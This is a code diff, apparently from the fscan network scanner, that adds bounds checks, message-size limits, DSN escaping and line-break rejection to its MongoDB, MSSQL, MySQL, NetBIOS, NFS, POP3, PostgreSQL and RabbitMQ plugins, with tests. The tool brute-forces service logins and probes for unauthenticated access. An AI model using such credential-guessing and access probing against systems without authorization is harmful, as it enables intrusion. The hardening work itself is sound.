||||
}
|
||||
pos += 1 + len("s") + 1
|
||||
if got := binary.LittleEndian.Uint32(doc[pos : pos+4]); got != uint32(len(longString)+1) {
|
||||
t.Fatalf("string length = %d, want %d", got, len(longString)+1)
|
||||
}
|
||||
|
||||
doc = buildBSON(mongoDoc{"b": longBinary})
|
||||
pos = 4
|
||||
if doc[pos] != 0x05 {
|
||||
t.Fatalf("first bson type = 0x%02x, want binary", doc[pos])
|
||||
}
|
||||
pos += 1 + len("b") + 1
|
||||
if got := binary.LittleEndian.Uint32(doc[pos : pos+4]); got != uint32(len(longBinary)) {
|
||||
t.Fatalf("binary length = %d, want %d", got, len(longBinary))
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildBSONEncodesFloat64Bits(t *testing.T) {
|
||||
doc := buildBSON(mongoDoc{"ok": 1.5})
|
||||
pos := 4
|
||||
if doc[pos] != 0x01 {
|
||||
t.Fatalf("bson type = 0x%02x, want double", doc[pos])
|
||||
}
|
||||
pos += 1 + len("ok") + 1
|
||||
if got := binary.LittleEndian.Uint64(doc[pos : pos+8]); got != 0x3ff8000000000000 {
|
||||
t.Fatalf("double bits = 0x%x, want 1.5 bits", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseMongoCommandReplyReadsSCRAMFields(t *testing.T) {
|
||||
payload := []byte("r=clientserver,s=" + base64.StdEncoding.EncodeToString([]byte("salt")) + ",i=4096")
|
||||
doc := buildBSON(mongoDoc{
|
||||
"ok": 1,
|
||||
"conversationId": 7,
|
||||
"payload": payload,
|
||||
"done": false,
|
||||
})
|
||||
|
||||
reply, err := parseMongoCommandReply(doc)
|
||||
if err != nil {
|
||||
t.Fatalf("parseMongoCommandReply() error = %v", err)
|
||||
}
|
||||
if !reply.ok || !reply.conversationSet || reply.conversationID != 7 || string(reply.payload) != string(payload) {
|
||||
t.Fatalf("unexpected reply: %+v", reply)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseMongoCommandReplySkipsExtraBSONFields(t *testing.T) {
|
||||
payload := []byte("r=clientserver,s=" + base64.StdEncoding.EncodeToString([]byte("salt")) + ",i=4096")
|
||||
doc := buildBSON(mongoDoc{
|
||||
"$clusterTime": mongoDoc{"clusterTime": 1},
|
||||
"operationTime": int64(123),
|
||||
"ok": 1,
|
||||
"conversationId": 9,
|
||||
"payload": payload,
|
||||
})
|
||||
|
||||
reply, err := parseMongoCommandReply(doc)
|
||||
if err != nil {
|
||||
t.Fatalf("parseMongoCommandReply() error = %v", err)
|
||||
}
|
||||
if !reply.ok || reply.conversationID != 9 || string(reply.payload) != string(payload) {
|
||||
t.Fatalf("unexpected reply: %+v", reply)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildMongoSCRAMClientFinalRejectsBadNonce(t *testing.T) {
|
||||
serverFirst := "r=othernonce,s=" + base64.StdEncoding.EncodeToString([]byte("salt")) + ",i=4096"
|
||||
if _, err := buildMongoSCRAMClientFinal("user", "pass", "n=user,r=client", serverFirst); err == nil {
|
||||
t.Fatal("buildMongoSCRAMClientFinal() error = nil, want nonce error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildMongoSCRAMClientFinalBuildsProof(t *testing.T) {
|
||||
serverFirst := "r=clientserver,s=" + base64.StdEncoding.EncodeToString([]byte("salt")) + ",i=4096"
|
||||
got, err := buildMongoSCRAMClientFinal("user", "pass", "n=user,r=client", serverFirst)
|
||||
if err != nil {
|
||||
t.Fatalf("buildMongoSCRAMClientFinal() error = %v", err)
|
||||
}
|
||||
if !strings.HasPrefix(got, "c=biws,r=clientserver,p=") {
|
||||
t.Fatalf("client final = %q", got)
|
||||
}
|
||||
}
|
||||
@@ -23,6 +23,7 @@ const (
|
||||
|
||||
tdsVersion74 = 0x74000004
|
||||
tdsDefaultPacketLen = 4096
|
||||
maxTDSMessageSize = 1024 * 1024
|
||||
|
||||
tdsPreloginVersion = 0
|
||||
tdsPreloginEncryption = 1
|
||||
@@ -439,6 +440,9 @@ func mssqlReadMessage(r io.Reader) (byte, []byte, error) {
|
||||
if _, err := io.ReadFull(r, chunk); err != nil {
|
||||
return 0, nil, err
|
||||
}
|
||||
if len(payload)+len(chunk) > maxTDSMessageSize {
|
||||
return 0, nil, fmt.Errorf("mssql: message too large")
|
||||
}
|
||||
payload = append(payload, chunk...)
|
||||
if header[1]&tdsStatusEOM != 0 {
|
||||
return packetType, payload, nil
|
||||
|
||||
@@ -37,3 +37,27 @@ func TestMSSQLLogin7DoesNotExposeClientIdentity(t *testing.T) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestMSSQLReadMessageRejectsOversizedMultipartMessage(t *testing.T) {
|
||||
var packet bytes.Buffer
|
||||
remaining := maxTDSMessageSize + 1
|
||||
for remaining > 0 {
|
||||
chunkLen := remaining
|
||||
if chunkLen > 65527 {
|
||||
chunkLen = 65527
|
||||
}
|
||||
remaining -= chunkLen
|
||||
status := byte(0)
|
||||
if remaining == 0 {
|
||||
status = tdsStatusEOM
|
||||
}
|
||||
header := []byte{tdsPacketReply, status, 0, 0, 0, 0, 1, 0}
|
||||
binary.BigEndian.PutUint16(header[2:4], uint16(chunkLen+8))
|
||||
packet.Write(header)
|
||||
packet.Write(bytes.Repeat([]byte{0x41}, chunkLen))
|
||||
}
|
||||
|
||||
if _, _, err := mssqlReadMessage(&packet); err == nil {
|
||||
t.Fatal("mssqlReadMessage() error = nil, want oversized message error")
|
||||
}
|
||||
}
|
||||
|
||||
+40
-13
@@ -6,9 +6,11 @@ import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/go-sql-driver/mysql"
|
||||
@@ -77,8 +79,14 @@ func (p *MySQLPlugin) createAuthFunc(info *common.HostInfo, config *common.Confi
|
||||
|
||||
// doMySQLAuth 执行MySQL认证
|
||||
func (p *MySQLPlugin) doMySQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
connStr := fmt.Sprintf("%s:%s@tcp(%s)/information_schema?charset=utf8&timeout=%ds",
|
||||
cred.Username, cred.Password, net.JoinHostPort(info.Host, strconv.Itoa(info.Port)), int64(config.Timeout.Seconds()))
|
||||
connStr, err := mySQLConnString(cred.Username, cred.Password, info, config.Timeout)
|
||||
if err != nil {
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeAuth,
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
db, err := sql.Open("mysql", connStr)
|
||||
if err != nil {
|
||||
@@ -115,6 +123,21 @@ func (p *MySQLPlugin) doMySQLAuth(ctx context.Context, info *common.HostInfo, cr
|
||||
}
|
||||
}
|
||||
|
||||
func mySQLConnString(username, password string, info *common.HostInfo, timeout time.Duration) (string, error) {
|
||||
if strings.ContainsAny(username, ":@/") {
|
||||
return "", fmt.Errorf("mysql username contains unsupported DSN delimiter")
|
||||
}
|
||||
cfg := mysql.NewConfig()
|
||||
cfg.User = username
|
||||
cfg.Passwd = password
|
||||
cfg.Net = "tcp"
|
||||
cfg.Addr = net.JoinHostPort(info.Host, strconv.Itoa(info.Port))
|
||||
cfg.DBName = "information_schema"
|
||||
cfg.Params = map[string]string{"charset": "utf8"}
|
||||
cfg.Timeout = timeout
|
||||
return cfg.FormatDSN(), nil
|
||||
}
|
||||
|
||||
// classifyMySQLErrorType MySQL错误分类
|
||||
func classifyMySQLErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
@@ -173,28 +196,32 @@ func (p *MySQLPlugin) identifyService(ctx context.Context, info *common.HostInfo
|
||||
func (p *MySQLPlugin) readMySQLBanner(conn net.Conn, config *common.Config) string {
|
||||
_ = conn.SetReadDeadline(time.Now().Add(config.Timeout))
|
||||
|
||||
handshake := make([]byte, 256)
|
||||
n, err := conn.Read(handshake)
|
||||
if err != nil || n < 10 {
|
||||
header := make([]byte, 5)
|
||||
if _, err := io.ReadFull(conn, header); err != nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
if handshake[4] != 10 {
|
||||
if header[4] != 10 {
|
||||
return ""
|
||||
}
|
||||
|
||||
versionStart := 5
|
||||
versionEnd := versionStart
|
||||
for versionEnd < n && handshake[versionEnd] != 0 {
|
||||
versionEnd++
|
||||
version := make([]byte, 0, 64)
|
||||
var b [1]byte
|
||||
for len(version) < 250 {
|
||||
if _, err := io.ReadFull(conn, b[:]); err != nil {
|
||||
return ""
|
||||
}
|
||||
if b[0] == 0 {
|
||||
break
|
||||
}
|
||||
version = append(version, b[0])
|
||||
}
|
||||
|
||||
if versionEnd <= versionStart {
|
||||
if len(version) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
versionStr := string(handshake[versionStart:versionEnd])
|
||||
return fmt.Sprintf("MySQL %s", versionStr)
|
||||
return fmt.Sprintf("MySQL %s", string(version))
|
||||
}
|
||||
|
||||
func init() {
|
||||
|
||||
@@ -0,0 +1,87 @@
|
||||
//go:build plugin_mysql || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"io"
|
||||
"net"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/go-sql-driver/mysql"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
type chunkedMySQLConn struct {
|
||||
data []byte
|
||||
chunkSize int
|
||||
}
|
||||
|
||||
func (c *chunkedMySQLConn) Read(p []byte) (int, error) {
|
||||
if len(c.data) == 0 {
|
||||
return 0, io.EOF
|
||||
}
|
||||
n := len(c.data)
|
||||
if c.chunkSize > 0 && n > c.chunkSize {
|
||||
n = c.chunkSize
|
||||
}
|
||||
if n > len(p) {
|
||||
n = len(p)
|
||||
}
|
||||
copy(p, c.data[:n])
|
||||
c.data = c.data[n:]
|
||||
return n, nil
|
||||
}
|
||||
|
||||
func (c *chunkedMySQLConn) Write([]byte) (int, error) { return 0, nil }
|
||||
func (c *chunkedMySQLConn) Close() error { return nil }
|
||||
func (c *chunkedMySQLConn) LocalAddr() net.Addr { return nil }
|
||||
func (c *chunkedMySQLConn) RemoteAddr() net.Addr { return nil }
|
||||
func (c *chunkedMySQLConn) SetDeadline(time.Time) error { return nil }
|
||||
func (c *chunkedMySQLConn) SetReadDeadline(time.Time) error { return nil }
|
||||
func (c *chunkedMySQLConn) SetWriteDeadline(time.Time) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func TestReadMySQLBannerHandlesChunkedHandshake(t *testing.T) {
|
||||
data := []byte{0x2a, 0x00, 0x00, 0x00, 0x0a}
|
||||
data = append(data, []byte("8.0.36\x00")...)
|
||||
got := NewMySQLPlugin().readMySQLBanner(&chunkedMySQLConn{data: data, chunkSize: 1}, &common.Config{Timeout: time.Second})
|
||||
if got != "MySQL 8.0.36" {
|
||||
t.Fatalf("readMySQLBanner() = %q, want MySQL 8.0.36", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMySQLConnStringEscapesCredentialsAndIPv6(t *testing.T) {
|
||||
info := &common.HostInfo{Host: "2001:db8::1", Port: 3306}
|
||||
got, err := mySQLConnString("user", "pa:ss@/word", info, 3*time.Second)
|
||||
if err != nil {
|
||||
t.Fatalf("mySQLConnString() error = %v", err)
|
||||
}
|
||||
|
||||
for _, want := range []string{
|
||||
"user:pa:ss@/word@tcp([2001:db8::1]:3306)/information_schema",
|
||||
"charset=utf8",
|
||||
"timeout=3s",
|
||||
} {
|
||||
if !strings.Contains(got, want) {
|
||||
t.Fatalf("mySQLConnString() = %q, missing %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
cfg, err := mysql.ParseDSN(got)
|
||||
if err != nil {
|
||||
t.Fatalf("mysql.ParseDSN() error = %v", err)
|
||||
}
|
||||
if cfg.User != "user" || cfg.Passwd != "pa:ss@/word" || cfg.Addr != "[2001:db8::1]:3306" {
|
||||
t.Fatalf("parsed DSN user/pass/addr = %q/%q/%q", cfg.User, cfg.Passwd, cfg.Addr)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMySQLConnStringRejectsUnsupportedUsernameDelimiters(t *testing.T) {
|
||||
info := &common.HostInfo{Host: "127.0.0.1", Port: 3306}
|
||||
if _, err := mySQLConnString("user:name", "pass", info, time.Second); err == nil {
|
||||
t.Fatal("mySQLConnString() error = nil, want unsupported delimiter error")
|
||||
}
|
||||
}
|
||||
@@ -5,7 +5,6 @@ package services
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
@@ -163,7 +162,7 @@ func (p *Neo4jPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H
|
||||
defer func() { _ = resp.Body.Close() }()
|
||||
|
||||
if resp.StatusCode == 200 {
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
body, err := readServiceHTTPBody(resp.Body)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
@@ -221,7 +220,7 @@ func (p *Neo4jPlugin) identifyService(ctx context.Context, info *common.HostInfo
|
||||
if serverHeader != "" && strings.Contains(strings.ToLower(serverHeader), "neo4j") {
|
||||
banner = "Neo4j"
|
||||
} else if resp.StatusCode == 200 || resp.StatusCode == 401 {
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
body, err := readServiceHTTPBody(resp.Body)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
|
||||
@@ -1,39 +1,14 @@
|
||||
//go:build plugin_neo4j || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"testing"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
func testSession() *common.ScanSession {
|
||||
cfg := common.NewConfig()
|
||||
return common.NewScanSession(cfg, common.NewState(), &common.FlagVars{})
|
||||
}
|
||||
|
||||
func hostInfoFromServer(t *testing.T, server *httptest.Server) *common.HostInfo {
|
||||
t.Helper()
|
||||
u, err := url.Parse(server.URL)
|
||||
if err != nil {
|
||||
t.Fatalf("Parse server URL error = %v", err)
|
||||
}
|
||||
host, portText, err := net.SplitHostPort(u.Host)
|
||||
if err != nil {
|
||||
t.Fatalf("SplitHostPort error = %v", err)
|
||||
}
|
||||
port, err := strconv.Atoi(portText)
|
||||
if err != nil {
|
||||
t.Fatalf("Atoi port error = %v", err)
|
||||
}
|
||||
return &common.HostInfo{Host: host, Port: port}
|
||||
}
|
||||
|
||||
func TestNeo4jIdentifyRejectsGenericHTTP(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
|
||||
_, _ = w.Write([]byte("plain http service"))
|
||||
|
||||
@@ -5,6 +5,7 @@ package services
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
@@ -360,13 +361,13 @@ func (p *NetBIOSPlugin) parseNetBIOSSession(data []byte) (*NetBIOSInfo, error) {
|
||||
|
||||
// parseNTLMInfo 解析NTLM信息
|
||||
func (p *NetBIOSPlugin) parseNTLMInfo(data []byte, info *NetBIOSInfo) {
|
||||
if len(data) < 45 {
|
||||
if len(data) < 48 {
|
||||
return
|
||||
}
|
||||
|
||||
// 获取Target Info偏移和长度
|
||||
targetInfoLength := int(data[40]) + int(data[41])*256
|
||||
targetInfoOffset := int(data[44])
|
||||
targetInfoOffset := int(binary.LittleEndian.Uint32(data[44:48]))
|
||||
|
||||
if targetInfoOffset+targetInfoLength > len(data) {
|
||||
return
|
||||
|
||||
@@ -0,0 +1,40 @@
|
||||
//go:build plugin_netbios || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"testing"
|
||||
"unicode/utf16"
|
||||
)
|
||||
|
||||
func TestParseNTLMInfoUsesFullTargetInfoOffset(t *testing.T) {
|
||||
p := NewNetBIOSPlugin()
|
||||
info := &NetBIOSInfo{}
|
||||
|
||||
targetInfo := appendNTLMAVPair(nil, 0x0003, "HOST.example.local")
|
||||
targetInfo = append(targetInfo, 0x00, 0x00, 0x00, 0x00)
|
||||
|
||||
const targetOffset = 300
|
||||
data := make([]byte, targetOffset+len(targetInfo))
|
||||
copy(data, "NTLMSSP\x00")
|
||||
binary.LittleEndian.PutUint16(data[40:42], uint16(len(targetInfo)))
|
||||
binary.LittleEndian.PutUint32(data[44:48], targetOffset)
|
||||
copy(data[targetOffset:], targetInfo)
|
||||
|
||||
p.parseNTLMInfo(data, info)
|
||||
if info.ComputerName != "HOST.example.local" {
|
||||
t.Fatalf("ComputerName = %q, want HOST.example.local", info.ComputerName)
|
||||
}
|
||||
}
|
||||
|
||||
func appendNTLMAVPair(dst []byte, id uint16, value string) []byte {
|
||||
encoded := utf16.Encode([]rune(value))
|
||||
buf := make([]byte, 4+len(encoded)*2)
|
||||
binary.LittleEndian.PutUint16(buf[0:2], id)
|
||||
binary.LittleEndian.PutUint16(buf[2:4], uint16(len(encoded)*2))
|
||||
for i, r := range encoded {
|
||||
binary.LittleEndian.PutUint16(buf[4+i*2:6+i*2], r)
|
||||
}
|
||||
return append(dst, buf...)
|
||||
}
|
||||
+41
-13
@@ -6,6 +6,7 @@ import (
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
@@ -88,13 +89,11 @@ func (p *NFSPlugin) rpcNullCall(conn interface {
|
||||
return err
|
||||
}
|
||||
|
||||
buf := make([]byte, 512)
|
||||
n, err := conn.Read(buf)
|
||||
if err != nil || n < 28 {
|
||||
reply, err := readRPCFragment(conn, 512)
|
||||
if err != nil || len(reply) < 24 {
|
||||
return fmt.Errorf("short response")
|
||||
}
|
||||
|
||||
reply := buf[4:n]
|
||||
replyXID := binary.BigEndian.Uint32(reply[0:4])
|
||||
if replyXID != xid {
|
||||
return fmt.Errorf("xid mismatch")
|
||||
@@ -119,15 +118,10 @@ func (p *NFSPlugin) getExports(conn interface {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Read fragment header (4 bytes) + response
|
||||
buf := make([]byte, 4096)
|
||||
n, err := conn.Read(buf)
|
||||
if err != nil || n < 28 {
|
||||
return nil, fmt.Errorf("short response: %d bytes", n)
|
||||
reply, err := readRPCFragment(conn, 4096)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Skip fragment header (4 bytes), parse RPC reply
|
||||
reply := buf[4:n]
|
||||
if len(reply) < 24 {
|
||||
return nil, fmt.Errorf("invalid reply")
|
||||
}
|
||||
@@ -152,7 +146,16 @@ func (p *NFSPlugin) getExports(conn interface {
|
||||
}
|
||||
// verifier flavor + length
|
||||
verifierLen := binary.BigEndian.Uint32(reply[offset+4 : offset+8])
|
||||
if verifierLen > uint32(len(reply)-offset-8) {
|
||||
return nil, fmt.Errorf("truncated verifier")
|
||||
}
|
||||
offset += 8 + int(verifierLen)
|
||||
if pad := (4 - verifierLen%4) % 4; pad > 0 {
|
||||
if int(pad) > len(reply)-offset {
|
||||
return nil, fmt.Errorf("truncated verifier padding")
|
||||
}
|
||||
offset += int(pad)
|
||||
}
|
||||
|
||||
// Accept status
|
||||
if offset+4 > len(reply) {
|
||||
@@ -201,8 +204,15 @@ func (p *NFSPlugin) parseExportList(data []byte) []string {
|
||||
break
|
||||
}
|
||||
groupLen := binary.BigEndian.Uint32(data[offset : offset+4])
|
||||
offset += 4 + int(groupLen)
|
||||
offset += 4
|
||||
if groupLen > uint32(len(data)-offset) {
|
||||
break
|
||||
}
|
||||
offset += int(groupLen)
|
||||
if pad := (4 - groupLen%4) % 4; pad > 0 {
|
||||
if int(pad) > len(data)-offset {
|
||||
break
|
||||
}
|
||||
offset += int(pad)
|
||||
}
|
||||
}
|
||||
@@ -210,6 +220,24 @@ func (p *NFSPlugin) parseExportList(data []byte) []string {
|
||||
return exports
|
||||
}
|
||||
|
||||
func readRPCFragment(conn interface {
|
||||
Read([]byte) (int, error)
|
||||
}, maxPayload int) ([]byte, error) {
|
||||
var header [4]byte
|
||||
if _, err := io.ReadFull(conn, header[:]); err != nil {
|
||||
return nil, fmt.Errorf("short fragment header: %w", err)
|
||||
}
|
||||
size := int(binary.BigEndian.Uint32(header[:]) & 0x7fffffff)
|
||||
if size <= 0 || size > maxPayload {
|
||||
return nil, fmt.Errorf("invalid fragment size: %d", size)
|
||||
}
|
||||
payload := make([]byte, size)
|
||||
if _, err := io.ReadFull(conn, payload); err != nil {
|
||||
return nil, fmt.Errorf("short fragment payload: %w", err)
|
||||
}
|
||||
return payload, nil
|
||||
}
|
||||
|
||||
func (p *NFSPlugin) buildRPCCall(xid, program, version, procedure uint32, data []byte) []byte {
|
||||
authNone := []byte{0, 0, 0, 0, 0, 0, 0, 0} // AUTH_NONE flavor=0, len=0
|
||||
|
||||
|
||||
@@ -0,0 +1,101 @@
|
||||
//go:build plugin_nfs || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"io"
|
||||
"testing"
|
||||
)
|
||||
|
||||
type nfsTestConn struct {
|
||||
data []byte
|
||||
chunkSize int
|
||||
w bytes.Buffer
|
||||
}
|
||||
|
||||
func (c *nfsTestConn) Read(p []byte) (int, error) {
|
||||
if len(c.data) == 0 {
|
||||
return 0, io.EOF
|
||||
}
|
||||
n := len(c.data)
|
||||
if c.chunkSize > 0 && n > c.chunkSize {
|
||||
n = c.chunkSize
|
||||
}
|
||||
if n > len(p) {
|
||||
n = len(p)
|
||||
}
|
||||
copy(p, c.data[:n])
|
||||
c.data = c.data[n:]
|
||||
return n, nil
|
||||
}
|
||||
|
||||
func (c *nfsTestConn) Write(p []byte) (int, error) { return c.w.Write(p) }
|
||||
|
||||
func TestNFSRPCNullCallHandlesFragmentedReads(t *testing.T) {
|
||||
p := NewNFSPlugin()
|
||||
xid := uint32(0x12340000 + 100003)
|
||||
reply := make([]byte, 24)
|
||||
binary.BigEndian.PutUint32(reply[0:4], xid)
|
||||
binary.BigEndian.PutUint32(reply[4:8], 1)
|
||||
|
||||
if err := p.rpcNullCall(&nfsTestConn{data: wrapNFSReply(reply), chunkSize: 2}, 100003, 3); err != nil {
|
||||
t.Fatalf("rpcNullCall() error = %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNFSGetExportsHandlesVerifierPadding(t *testing.T) {
|
||||
p := NewNFSPlugin()
|
||||
var reply []byte
|
||||
reply = binary.BigEndian.AppendUint32(reply, 0x12345678) // xid
|
||||
reply = binary.BigEndian.AppendUint32(reply, 1) // reply
|
||||
reply = binary.BigEndian.AppendUint32(reply, 0) // accepted
|
||||
reply = binary.BigEndian.AppendUint32(reply, 0) // verifier flavor
|
||||
reply = binary.BigEndian.AppendUint32(reply, 3) // verifier length
|
||||
reply = append(reply, 'a', 'b', 'c', 0) // padded verifier
|
||||
reply = binary.BigEndian.AppendUint32(reply, 0) // accept success
|
||||
reply = binary.BigEndian.AppendUint32(reply, 1) // export follows
|
||||
reply = binary.BigEndian.AppendUint32(reply, 2) // path length
|
||||
reply = append(reply, '/', 'x', 0, 0) // padded path
|
||||
reply = binary.BigEndian.AppendUint32(reply, 0) // no groups
|
||||
reply = binary.BigEndian.AppendUint32(reply, 0) // no more exports
|
||||
|
||||
exports, err := p.getExports(&nfsTestConn{data: wrapNFSReply(reply), chunkSize: 3})
|
||||
if err != nil {
|
||||
t.Fatalf("getExports() error = %v", err)
|
||||
}
|
||||
if len(exports) != 1 || exports[0] != "/x" {
|
||||
t.Fatalf("exports = %#v, want [/x]", exports)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNFSReadRPCFragmentRejectsInvalidSize(t *testing.T) {
|
||||
header := make([]byte, 4)
|
||||
binary.BigEndian.PutUint32(header, 0x80000000)
|
||||
if _, err := readRPCFragment(&nfsTestConn{data: header}, 4096); err == nil {
|
||||
t.Fatal("readRPCFragment() error = nil, want invalid zero-size fragment error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestNFSParseExportListStopsOnTruncatedGroup(t *testing.T) {
|
||||
p := NewNFSPlugin()
|
||||
var data []byte
|
||||
data = binary.BigEndian.AppendUint32(data, 1)
|
||||
data = binary.BigEndian.AppendUint32(data, 2)
|
||||
data = append(data, '/', 'x', 0, 0)
|
||||
data = binary.BigEndian.AppendUint32(data, 1)
|
||||
data = binary.BigEndian.AppendUint32(data, 100)
|
||||
|
||||
exports := p.parseExportList(data)
|
||||
if len(exports) != 1 || exports[0] != "/x" {
|
||||
t.Fatalf("exports = %#v, want [/x]", exports)
|
||||
}
|
||||
}
|
||||
|
||||
func wrapNFSReply(payload []byte) []byte {
|
||||
out := make([]byte, 4+len(payload))
|
||||
binary.BigEndian.PutUint32(out[:4], uint32(len(payload))|0x80000000)
|
||||
copy(out[4:], payload)
|
||||
return out
|
||||
}
|
||||
@@ -87,6 +87,9 @@ func (p *POP3Plugin) tryLogin(ctx context.Context, info *common.HostInfo, cred p
|
||||
if _, err := reader.ReadString('\n'); err != nil {
|
||||
return nil
|
||||
}
|
||||
if err := rejectLineBreaks(cred.Username, cred.Password); err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
if _, err := fmt.Fprintf(conn, "USER %s\r\n", cred.Username); err != nil {
|
||||
return nil
|
||||
|
||||
@@ -207,9 +207,7 @@ func (p *PostgreSQLPlugin) testUnauthorizedAccess(ctx context.Context, info *com
|
||||
}
|
||||
|
||||
vulInfo := i18n.Tr("postgresql_trust_unauth_version", version)
|
||||
if len(vulInfo) > 100 {
|
||||
vulInfo = vulInfo[:100] + "..."
|
||||
}
|
||||
vulInfo = truncateRunes(vulInfo, 100)
|
||||
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
//go:build plugin_postgresql || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
@@ -21,3 +23,10 @@ func TestPostgreSQLConnStringEscapesIPv6AndCredentials(t *testing.T) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestPostgreSQLVulnInfoTruncatesByRune(t *testing.T) {
|
||||
got := truncateRunes(strings.Repeat("界", 105), 100)
|
||||
if len([]rune(got)) != 103 || !strings.HasSuffix(got, "...") {
|
||||
t.Fatalf("postgresql truncation helper = %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
//go:build !plugin_selective || (plugin_mongodb && plugin_kafka && plugin_cassandra)
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
|
||||
@@ -228,13 +228,11 @@ func (p *RabbitMQPlugin) testAMQPProtocol(ctx context.Context, info *common.Host
|
||||
return nil
|
||||
}
|
||||
|
||||
buffer := make([]byte, 32)
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil || n < 4 {
|
||||
ok, err := readRabbitMQAMQPResponse(conn)
|
||||
if err != nil || !ok {
|
||||
return nil
|
||||
}
|
||||
|
||||
if string(buffer[:4]) == "AMQP" || (n >= 8 && buffer[0] == 0x01) {
|
||||
banner := "RabbitMQ AMQP"
|
||||
session.LogSuccess(i18n.Tr("rabbitmq_service", target, banner))
|
||||
return &ScanResult{
|
||||
@@ -245,7 +243,24 @@ func (p *RabbitMQPlugin) testAMQPProtocol(ctx context.Context, info *common.Host
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
func readRabbitMQAMQPResponse(conn interface {
|
||||
Read([]byte) (int, error)
|
||||
}) (bool, error) {
|
||||
header := make([]byte, 4)
|
||||
if _, err := io.ReadFull(conn, header); err != nil {
|
||||
return false, err
|
||||
}
|
||||
if string(header) == "AMQP" {
|
||||
return true, nil
|
||||
}
|
||||
if header[0] != 0x01 {
|
||||
return false, nil
|
||||
}
|
||||
rest := make([]byte, 4)
|
||||
if _, err := io.ReadFull(conn, rest); err != nil {
|
||||
return false, err
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
func (p *RabbitMQPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||
@@ -287,7 +302,7 @@ func (p *RabbitMQPlugin) testManagementInterface(ctx context.Context, info *comm
|
||||
defer func() { _ = resp.Body.Close() }()
|
||||
|
||||
if resp.StatusCode == 200 || resp.StatusCode == 401 {
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
body, err := readServiceHTTPBody(resp.Body)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
|
||||
@@ -1,7 +1,11 @@
|
||||
//go:build plugin_rabbitmq || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
@@ -18,3 +22,41 @@ func TestRabbitMQManagementRejectsGenericHTTP(t *testing.T) {
|
||||
t.Fatalf("testManagementInterface reported generic HTTP as RabbitMQ: %#v", result)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadRabbitMQAMQPResponseHandlesChunkedReads(t *testing.T) {
|
||||
ok, err := readRabbitMQAMQPResponse(&chunkedByteReader{data: []byte("AMQP"), chunkSize: 1})
|
||||
if err != nil || !ok {
|
||||
t.Fatalf("readRabbitMQAMQPResponse(AMQP) = %v, %v", ok, err)
|
||||
}
|
||||
|
||||
